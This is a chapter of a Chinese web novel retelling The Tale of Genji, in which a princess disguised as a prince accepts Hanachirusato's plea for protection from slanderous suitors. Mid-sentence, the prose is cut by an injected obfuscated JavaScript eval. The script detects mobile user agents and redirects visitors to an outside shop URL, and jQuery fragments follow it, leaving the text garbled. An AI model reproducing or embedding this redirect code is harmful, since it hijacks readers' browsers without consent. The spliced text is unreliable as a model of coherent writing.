49.花散里

作品:《[源氏物语]传闻中的明石姬

    “殿下,臣已到达明石,一切顺利。此地虽与那风雪交加的须磨仅一水之隔,但称得上气候温和,也算是宜人的住处了,您不必为我挂心。再次祝您和母亲安好。”


    又是一个月里规律的“避忌”日子,鸣音窝在东宫的暂住处翻开舅舅的信件,里面写满了他在新的属地的鸡毛蒜皮流水账。


    “那边有位不知道是不是颅内有疾的明石道人,感觉修仙都人格分裂了。他想要一京中贵婿匹配自己的女儿,为此做出种种怪异举动,真是令人费解。为自家女儿打出名声的父亲不少,但像他这样担心风吹草动的可谓是凤毛麟角。我想就算是那些形形色色的物语故事中,都很难寻找出像他这样的角色。”


    “不过他的女儿,那位明石姬当真是一位精心教养的闺阁小姐,贤淑端庄、才情过人,想来明石道人的愿望也并非是异想天开。只可惜我的身份不足,不然也想与之结成亲家。”


    橘舅舅给京中的许多人寄出了有关“明石姬”的消息,算是帮明石道人进行了扩大宣传;当然,为了姬君的名声,还算知分寸的他只添油加醋说明石姬神秘又美丽,在音乐上颇有造诣,并没有具体说明她弹奏的琵琶曲。


    所以,并不知晓明石姬和“辉君”一样弹得一手好琵琶的鸣音,看到这里,还顺便回忆了一下这位至今还被一些年长侍卫讨厌的、当年任职中将的明石道人,之后就将信件继续翻到了下一页:


    “殿下吩咐的那位辉君的名字我也打听了。明石的百姓都说这是一位民间的女性乐者,但去年似乎就随着游女团离开明石了……有人说她是游女认证的聪颖女孩,有人说她是大户人家的管家家眷,众说纷纭之下,我并没有查到她的踪迹。”


    离开了,吗?


    舅舅说辉君不在明石了;之前负责送信的使者也说,当年辉君留下的地方已经是人去楼空,曾经交接的妇人也再没回过那间小小的屋子了。


    鸣音蜷缩着身子,紧紧抱着攒下来的一沓来自辉君的信件,曾经飘逸洒脱的汉字就像书法的主人一样,每夜在她的心间歌唱弹奏思念的乐章。


    辉君,她在哪里呢?


    “笃笃笃”,格子窗外传来了卫门佐轻轻的敲击。


    “殿下,丽景殿那边的三女公子拿着新缝补的衣物过来了。”卫门佐的语气有些为难。


    “我已经和她说了殿下在避忌不愿见人,但她说最近京中流行疟疾本就不祥,为此她彻夜忧心。昨晚更是梦见了与殿下相关的神佛旨意,因此一定要见殿下一面。我怕有什么大事……”


    拿不定主意的随从说话吞吞吐吐的。


    “请她进来吧。”鸣音想到连父皇最疼爱的源氏兄长都感染上的疟疾,头疼地揉了揉眉头。


    她往一向只燃烧清雅荷香的香炉里扔了几片浓郁到呛人的熏香,亲手拉下了无人的室内最厚的竹帘,等待那位女公子的到来。


    .


    花散里抱着新缝制的衣服进来的时候,差点被浓郁到几乎化成实质的熏香味道闪了腰。


    往日身上只有淡淡清香的八皇子,果然是不幸身患怪病了吧?不仅衣服的领子和旁人不大一样、被大师吩咐每个月都要规律避忌,如今还燃着这么浓郁的香料、用还未换季的厚重竹帘挡住了自己,也是不容易。


    但八皇子的“恶疾”,好像已经有许久了吧?


    他每月给姐姐请安的时候倒也还是面色红润的样子,是那些涂脂抹粉的公子哥梦寐以求的白里透红。


    有这样好气色的皇子,想必身体也没什么大碍,那所谓的“疾病”,应该也不会太过严重。


    那,自己是不是也能求得庇护呢?


    被那些追求的公子们骚扰到烦不胜烦的花散里,决定为自己寻找个机会。


    自从她搬到丽景殿,只安安静静陪着姐姐,希望能风平浪静过日子,不敢出风头。可那些狂蜂浪蝶也不知从哪里打探出来了自己的消息,经常从天上地下各种门路给她送来情意绵绵的情书。


    有些好歹是打听了一点,夸赞她缝补的技术“像是被织女姬赐福”,虽然他们也没见过花散里的手艺;


    有的那纯粹就是对“女御待嫁的妹妹”猎艳了,写出来的东西连花散里自己都不相信:


    什么“美若天仙”、“顾盼生辉”、“仙姿玉貌”、“绮丽容颜”……


    这些说的根本就不是五官真的平平无奇的自己!


    连想追求的人是圆是扁都不知道,就幻想一亲芳泽,可见那些人嘴上说的什么“心悦已久”全是不负责任的鬼话!


    丽景殿的花散里想把这些信都烧掉,但姐姐和侍女们、甚至包括她自己都有些为难。


    她们从小受到的就是“不能说出拒绝”的教育,因此在面对信口开河的求爱信的时候,她们也只能忍受着厌恶一封封回信婉拒。


    几次三番之后,本就是对“女御的妹妹”光环下的女孩出于好奇和跟风而追求的公子哥们渐渐失去了兴趣。


    他们之中,有的人将猎艳的目光又转向了其他女孩,开始了新一轮的求爱;而有的,则是为“英俊潇洒”的自己被拒绝的丢面子,恨不得跑到丽景殿大喊一声“莫欺少年穷”,然后在心里写话本yy“不识泰山”的花散里的落魄。


    这些居然还是“好”的,还有更加龌龊的是……


    ——“女御的妹妹,好歹也是那个老大臣的孙女,看不上我们是正常的。”


    ——“是啊,指不定人家的眼光多高呢,怕不是只有皇子或者源氏公子那样的她才能看得上吧!”


    ——“她一个云英未嫁的女公子,赖在姐姐的宫里,要我说,是不是就为了攀龙附凤呢?姐妹……”


    恶臭的男人们还会适时向狼狈为奸的狐朋狗友露出一个“你懂得”的揶揄目光,引发一阵扭曲的狂笑。


    这些恶心的人甚至开始造谣,企图将清清白白的花散里拉入名为“虚荣拜金不检点”的泥淖,这样不用他们出力,就会有各种各样的局外人以“女子规矩”为火把,开始对他们求而不得就要毁掉的女人进行审判与定罪了。


    更无奈的是,“审判者”往往还有不自觉加入的本应与“她”同阵线的人们。


    当除了丽景殿以外的侍女们都开始窃窃私语的时候,花散里真想一口气晕过去:她不要住宫里了,她要回家!


    但转念一想,丽景殿好歹还有姐姐的人手保护,而回到家里,那个已经没有多少人手的旧房子就能


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005510|190728||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    防得住男人们了吗?


    虽然姐姐曾经照拂过的源氏公子也暗示过愿意做保护人,但天底下没有免费的午餐,那源氏比自己也小不了几岁。不到万不得已,花散里不想做不喜欢的人的情人,哪怕那是世人眼中年轻英俊的源氏……


    她,能不能有别的路呢?


    如果没有姐姐的另一个养子,她可能就选择源氏公子庇护自己,用自己永远随分从时的性子做一朵真正的解语花了;但……


    想起那个被公子们背后蛐蛐为“孤高傲世”、“不合群”、“温温柔柔没有男子气概”、“做事不干净”、“阿谀奉承”的“弘徽殿走狗”,想起那个会对失宠的姐姐关心问候、对不小心冲撞他的年老仆妇细心叮嘱、从不用色眯眯的眼睛凝视年轻侍女的八皇子,花散里的心有了一丝动摇。


    何况他还似乎“身有隐疾”。


    试一试呢?也许可以呢?


    .


    “所以,您并没有神明的旨意,只是想要……照顾我?”


    端坐到一动都不敢动的鸣音简直无法想象,这世上除了她,还有直率可爱的辉君,居然又多了一个敢冒犯神明的“老实人”。


    “殿下,您是有大志向(帮女御跑腿)的人,每月被疾病困扰,也是意乱心烦吧。”花散里在竹帘外恭敬弯腰。


    她看不清竹帘里殿下的表情,只能在越发浓郁呛人的香气中,对这位她就是觉得和其他男人不一样的皇子露出有所需求的把柄。


    “我愿意悉心照顾殿下的衣食住行,为您缝制最合心意的衣服,为您每个月的避忌虔诚祈福。只求殿下能给予我庇佑,让我免于那些自诩‘男子汉大丈夫’的骚扰与污蔑。”


    听着周围的一片沉默,花散里咬咬牙:“我说过弘徽殿女御的坏话,要是以后背叛殿下,您就将我的恶劣行径统统告诉女御,让她惩罚我!”


    果然,在弘徽殿女御这些年的孜孜不倦之下,她已经成为了众人眼中的后宫副本大BOSS。


    鸣音轻轻呼出一口气,重新打量这位似乎一直附和养母的三女公子。


    在已经开始拉帮结派、暗度陈仓、时不时听从女御的吩咐给左大臣一派的年轻人暗中捅刀子的“邪恶走狗”看来,这位养母的妹妹这样的“投诚”有点小儿科。


    但考虑到她都敢拿神明做筏子了,这之后不用被一再戏耍的神明发誓,而是真的用实际的弘徽殿女御的怒火作为上交的把柄,这已经很有诚意了。


    “姨母说笑了。”鸣音直接把称呼都改了。


    “只要我还有能力一日,我就会孝顺姨母一日。”


    “等我这次避忌过去就接姨母到身边尽孝。”


    花散里松了一口气,扬起一抹温柔的笑:“好孩子,要不要试试我为你做的新衣服?”


    “啊,那个不急。”鸣音一把掀开竹帘,浓郁到刺鼻的香气顿时四散逃窜。


    “现在,请姨母为我准备换洗的物件吧。”


    ——什么???!!!


    花散里目瞪口呆。


    但随即,自求上了“贼船”的她恍然大悟:


    看吧,我没说错,她和那些男人就是不一样!


    天生就不一样!